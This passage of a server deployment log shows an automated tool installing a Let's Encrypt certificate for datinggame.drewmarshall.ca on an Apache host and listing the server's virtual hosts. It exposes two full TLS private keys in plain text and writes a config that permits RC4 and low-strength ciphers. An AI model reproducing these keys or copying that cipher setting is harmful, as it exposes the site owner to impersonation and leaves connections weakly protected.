xlx183wrx1JvdfMUmB63vucoYnc0rwZQYIA/QJPMuHGxcLzeF6pEnbzPFiwU1MY+
JuCwRfHyGv+omDOLqljZU79NEqJJtFm30uLvdj99orFOTuX81jGaBYtncVnttJRK
DXMAFV2gNMeIJRI8M3a8w3FB41/fsCjwqr5UZQsxw53nSz7csHgTq37ZxtYPXGBa
ssv+JlmfsJ3AdY7xb8oD7ZqEfU0llEFP9xl7VS1EUwIDAQABo4ICKjCCAiYwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQpjBdDXtvgFfXbdKRi5YtqL90ZTDAfBgNVHSME
GDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHByZWFj
aGVyaWRvbC5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYD
VR0fBCYwJDAioCCgHoYcaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8yLmNybDCCAQMG
CisGAQQB1nkCBAIEgfQEgfEA7wB1ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAF
hOvlhiY6AAABmR2ePZkAAAQDAEYwRAIgDW/8KnItQY9fDgE9SSlb7PJnpOVpRXge
tssAwMvpEOoCIFu5xLB9UzoIMed84hUAEAwZEXrcuqsSPHdOUSazEfzEAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZHZ5FZgAABAMARzBFAiEA
pEdRei1Gtq1pUXIvoMMVhezybc5JkBLWC+8HAQ/yF8gCIH52l8W0htYFhlNG3UbO
afQLEEQTXaMfXUtSG2OvS7VBMA0GCSqGSIb3DQEBCwUAA4IBAQCANodXWKDyMDjn
ZC2SWxQJuaviPBciCyelTFTGN+iZOZ1n2vCBtSET0cT5UW8ChFxVoCOpT6R9YgcA
J5SQ6LM1nEdOczLQSXDBxP0ngJ6vurlA1uZNczG1foyVXZHXPLcAfgTRTExtJITV
NotXJCPXOMAJgIip0UdLUYOzSrJ0OZk9HIMHA8Zfk8AMyleXeSy/BdXDtS80y+rE
DWkhstjGyG+1+3GI6pigHu+rHmYNdUnHvZvKdhOfyOvm5R+qDiSqYrK+4L9dt4QL
YgcutnXMYeM9dLf739nBbvHbFF7Hl6burJ6zOx9dPlHhQX4G+VbTpgii4EFkI2R5
TfOon47l
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHPp0DNsrMobcT
kr45VgmluQ7jOrZ42uBefdf/OXSqKgjbKlHldRaUlLc0ztOAjfHvk8Ncmqk+DwjV
Zsexs7QUJpdYb+iXBG9vVM8H0yy2Kb7GXHXzfCvHUm918xSYHre+5yhidzSvBlBg
gD9Ak8y4cbFwvN4XqkSdvM8WLBTUxj4m4LBF8fIa/6iYM4uqWNlTv00Sokm0WbfS
4u92P32isU5O5fzWMZoFi2dxWe20lEoNcwAVXaA0x4glEjwzdrzDcUHjX9+wKPCq
vlRlCzHDnedLPtyweBOrftnG1g9cYFqyy/4mWZ+wncB1jvFvygPtmoR9TSWUQU/3
GXtVLURTAgMBAAECggEBAKldmyBpShiKetJjkdmxPkAmP/Z+KTAwdjs8ZAhrMbWY
R7Dtl3IihtBEXjvAeF81yeuqQo4MVkMPiqXEWYm/xRq/9zTQ4/jDZ2pOwDHZm485
ixaY8BbKfXhQpbiwqdfpfK4FVvnkdN820cpGGf5t5L8AviGkGnIpZWxkW/BwBkEa
xuDW0gxQVZ9muuOo4RgJvSMC/KrF7mDLBSMntLajtCwEnnhmEyZZz/tlnMnm+v0h
Bq7AdyG7jAjGTHKAJVXvAFIrHWdaGFRao3BUvXaB2WKoPZ9d+4Jww1lE5rx4IV95
Flt7/aPxtoFMFS4S0Lvynawn6fN6sIs+AJ2asz403ZECgYEA6zVOKPzrI/EZAlmb
T78cGG0bxo/g1zXb1bRzEkmmsqJPpbk74OQEwKuAE5aDhDBDdHhn+X3TVIhhYsG+
mprsh7uED2YUTWJ0kiwtLtHI8mIB2GCUWSHzFfP9a7y9Fk4Xp3K3kB48wYkrgh36
XCapsJQmoT14gJInGFTDkGOvSYkCgYEA2Nt2DUZN7VzIf4zbwQlBL+uM8z3PO4M0
ZmhmL9VAfYtUrK79xyt4O8hCjZjb8zSftYM3mcwQ6V+smaxVjrMYOCjawhq8wo6K
N6HMYsY/M44jzWhi5YbYFZuQoY9x3q0Lj3bKOWW3sgenOailcIrrl3GZLGxXqnaR
ZuFard9DE/sCgYEA4yITu0MZ8xhk1T8g2y6q+++JTgMs1cZd5w4dvUBAaOqSzW+G
IlMvP7udr8y+bg2JZlTL20Mlq9ETciG0ZWpMFXsAOTqTSnNULL/aVgch7Oa173S8
bSJ6su1uAPc/BeYds4b1OofoleBXkoxOc2Smoy097KEG1+nLNRTN0YZiBDkCgYAN
3UoY4yvMRyhSb1EFcHAIfkjOrF75cRQCkB4oZLvwyt2pBK8Y8sCHIfCPWPyG+hBT
7IW7gX57TTCdypTVwMGFpacGzerPjYlssR1+GyqjQy0qzsez4QEjsIR4r9EZ6XpZ
u8CGFui9qxuX5h5dqaQSVKL0YiDgtx/osfO4NhP1zQKBgGRd1s5k/6sdvbC0QH3j
TAoGV3y3Guh+rCniYDjjaReCfJnW87J9pnz6fxfJWwW3ZkP018PcVfI3rTlTKAC2
EMttrALibnyhqmU6SgE8iBaghJx/HRAUv3eTX6rvEVYHHSVYr2Tw9faft/hLTtrB
bab2Tw3blH/nSODb3X+FpzRl
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-06 06:02:17: Establishing a connection
2025-09-06 06:02:17: Establishing a connection
2025-09-06 06:02:17:
PUT: /tmp/pkp422723
#!/bin/bash
if [ -d "/var/www/drewmarshall_datinggame/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-06 06:02:18:
chmod 755 /tmp/pkp422723; /tmp/pkp422723; rm /tmp/pkp422723
2025-09-06 06:02:18:
1
2025-09-06 06:02:18: Establishing a connection
2025-09-06 06:02:18:
PUT: /tmp/pkp145111
#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cat > tAVc0rvWb8SaGpCHbaoJVLzdCfCkC3kIvdBPebQa3-w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
tAVc0rvWb8SaGpCHbaoJVLzdCfCkC3kIvdBPebQa3-w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 tAVc0rvWb8SaGpCHbaoJVLzdCfCkC3kIvdBPebQa3-w
2025-09-06 06:02:18:
chmod 755 /tmp/pkp145111; /tmp/pkp145111; rm /tmp/pkp145111
2025-09-06 06:02:18:
2025-09-06 06:02:26: Establishing a connection
2025-09-06 06:02:26:
PUT: /tmp/pkp373693
#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
rm tAVc0rvWb8SaGpCHbaoJVLzdCfCkC3kIvdBPebQa3-w
2025-09-06 06:02:26:
chmod 755 /tmp/pkp373693; /tmp/pkp373693; rm /tmp/pkp373693
2025-09-06 06:02:26:
2025-09-06 06:02:26: Establishing a connection
2025-09-06 06:02:26:
PUT: /tmp/pkp952051
#!/bin/bash
temp_file=$(mktemp)
TARGET=23de9e4d8d79bf04b5d6fc34a21a5b07.crt
cat > $temp_file <<'endmsg'
f4:72:73:5e:54:28:01:6e:1c:8b:95:94:9a:9f:5d:34
-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBapWMGre/loGfnyA6kln7fUaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzUzWhcNMjUxMjA1MDUwMzUyWjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALWvJjUCQSCzoMTMTiLodLxx3uiLvSdWkpcs9q6YwkklqhY2
oRoiuGwdPea3cJTGf35HimTa6Mhd95QRPlXTHXToIXeU6B2QocsfhiD8NGJ1q91b
U+7Jb6yLznzNou3N/qchXkuM64QOhQMwyIAkatES2SngfmhOuSETyxhxmHIeI2J6
emhY6vbRd/hNnfS32WY4rMzEa+IrU5hQLP/Fz+rsLT439KLzW12e+HtmUjq+XNcB
jdHVtowwKvwE/+vpSlhCXVMhHbls99MYo7FbF8EmVPqhyWHq+tqijkfD1ixSdDDM
l1soo4nn4EEEskEjtEl2Nrxxld7dz0hPZDHJCtUCAwEAAaOCAiowggImMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUOWmJjCMDAL3vPAWt1OYCVYPxpJ8wHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpkYXRpbmdn
YW1lLmRyZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzI3LmNybDCCAQQGCisG
AQQB1nkCBAIEgfUEgfIA8AB2ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvl
hiY6AAABmR2eZBQAAAQDAEcwRQIgFJJjzgfsBzqvMrSvIY0ulgfaemCfnFJcddsx
lGSxnPoCIQDZ6jW9if9KIpGkbelU/taMWgPIQXiALa1pgu9KMxa54AB2AMz7D2qF
cQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAABmR2ea/QAAAQDAEcwRQIhAKIj
Tx0JV1Q7egcYoRV4M6LpW/sq3B3GuhMT8YNarf5JAiAPxDPcYaPMjtpl1SfnuspC
xEbAL65/2e5n3xrjR7j/+TANBgkqhkiG9w0BAQsFAAOCAQEAhCaVqdeYUyiKu68C
QQh9EpzNXer3tNt60IINoZP1kVjIcQ8IS7m8RAwiSo/Ij3F0LEO0HY6iRSPJDmOw
KWcItlkIa69+6sj3vfyWHnVyb5gEyUji4aZe0OoUv1F7AACX6lMq9hOTFufGZO+I
eqKHQ2mjve5f1XnvZ359guA2wUcs9EDhBsd89U6hoaMC/+/i96H7sTzIUCoWbXUk
LkM0a7gDk6YswQXfUffoFOV74CTb5jFSNab2OnVtUEptOBWJXg8h90hg1ily+rgF
WTXKEoD0W0Bux6LGKRMS0Bsq0f5a5sK/QGaIiFFbYRpMMpwyqtKoyBaP9IzWVnBP
k1ibvA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1ryY1AkEgs6DE
zE4i6HS8cd7oi70nVpKXLPaumMJJJaoWNqEaIrhsHT3mt3CUxn9+R4pk2ujIXfeU
ET5V0x106CF3lOgdkKHLH4Yg/DRidavdW1PuyW+si858zaLtzf6nIV5LjOuEDoUD
MMiAJGrREtkp4H5oTrkhE8sYcZhyHiNienpoWOr20Xf4TZ30t9lmOKzMxGviK1OY
UCz/xc/q7C0+N/Si81tdnvh7ZlI6vlzXAY3R1baMMCr8BP/r6UpYQl1TIR25bPfT
GKOxWxfBJlT6oclh6vraoo5Hw9YsUnQwzJdbKKOJ5+BBBLJBI7RJdja8cZXe3c9I
T2QxyQrVAgMBAAECggEAPo2DNhUEn2G5JIjDDjnCl28NNDuIcJbZ+bq9Y/esTMru
+J7ucLUrke2vdlQKKu78zlmLSJYmN3ZC23PkZmA9cBbMDwPxttwpGGpOH+U1lAC3
n4rmJvyruliYS1fxlLarypcuhAyMufbVzPdq0NO5AyreIhDs9LTGAKFz94KE3iT1
pUlOgrv/utf5a2xJMxOkXtS+XokpNBpNZgC1p2EyyhGhOUl2DK7aKTRV13qYZnAb
h1gBYKP2Ebk2KDNg6S8dbfaf/F00SZq3LNHSihd9UTiM1OXTLKUS/ltUDJgWNC0L
tJE0eJp0wltsevcsqcxOVO7k76FJIglHmTfOAcfVgQKBgQDf8dyupanpcigm9lTh
9Jx7UbkClsOb1TaxOAjm/jF7QtlCeX5v+7GBrv9V2ilkHKtx8dPDAfeVIEGt6tHi
1pyuOWaasTlV8tngVMnioBNpirl3OsGHBpYGQ3eNNbbH1nMJUATKix2SLLUNIp/Q
A5gPGQXEWjKpMtW4qgfauGmmrQKBgQDPsLUrhB5kDkNXDOOriLJ+9DgssUQeAKml
acjjb3ZanCI4BV0VIBltlN0X5isYrJFUXokjWFD2MuUBS1yrwgXf//Pho8xFf1YL
SnhU1RSWScg+CKN96lPqbm8YZdMd5gO5dh9Uh6Atfd8bqFBgEuAZiN/5gLehzKJH
JhG5BDiByQKBgQDNmFeZA0B9sK9KLeZ51z9+O+XViaIlw9ZFVwNdRksZNaMOU0oP
9wvc2lNSd0p+vY9sua5HHtw0zXte9vEgBxWrIcmgBUp1LNJ4EH+UDpAj2hcxbgDU
POio8XGlc4XN64SLLSpo5NUOKPtDBuGfcF0+pyNTQ9e03JW3xmoVlC5ytQKBgG4p
os9EMwKLdjiUQ6bWyScBz1IVbLYlT9bHd6D7nGGPc68XWTo9Xn97eJKWqcFat3Ny
+Xbf/4G3mTTIjo0kSw13rBrBUTaDxlYS2CTXKSZWWHpfBqlhQ8WTciYUzJiNSuhy
uUeS8OlwXIlFC+0J1gh1S6gCGGUgL+thTAFBNd/RAoGBANpgKGIFJ4WAn4zYHhsP
LSTWYWxJEms/kPf7hGY2dnQFAt066pO2dELkQJBQIBjSE0l5kUrypYPZEcMgg3ol
oNut3OWb6yLtRLIfk0EnAkwu15ZOVvqqz+cVI1rLeOCdqSQfX1DItRxC9tl78E0f
o5yH8LcPAe6LwZ9wjDifiAax
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-06 06:02:26:
chmod 755 /tmp/pkp952051; /tmp/pkp952051; rm /tmp/pkp952051
2025-09-06 06:02:26:
dir=/etc/ssl/certs
2025-09-06 06:02:26:
PUT: /tmp/pkp899850
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-06 06:02:26:
chmod 755 /tmp/pkp899850; /tmp/pkp899850; rm /tmp/pkp899850
2025-09-06 06:02:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf 50
<VirtualHost *:80>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:02:26:
PUT: /tmp/pkp937647
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_datinggame_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf= 1'
fi
2025-09-06 06:02:26:
chmod 755 /tmp/pkp937647; /tmp/pkp937647; rm /tmp/pkp937647
2025-09-06 06:02:26:
2025-09-06 06:02:26:
PUT: /tmp/pkp972830
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-06 06:02:26:
chmod 755 /tmp/pkp972830; /tmp/pkp972830; rm /tmp/pkp972830
2025-09-06 06:02:26:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:02:26: Establishing a connection
2025-09-06 06:02:27:
PUT: /tmp/pkp936462
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-06 06:02:27:
chmod 755 /tmp/pkp936462; /tmp/pkp936462; rm /tmp/pkp936462
2025-09-06 06:02:27:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
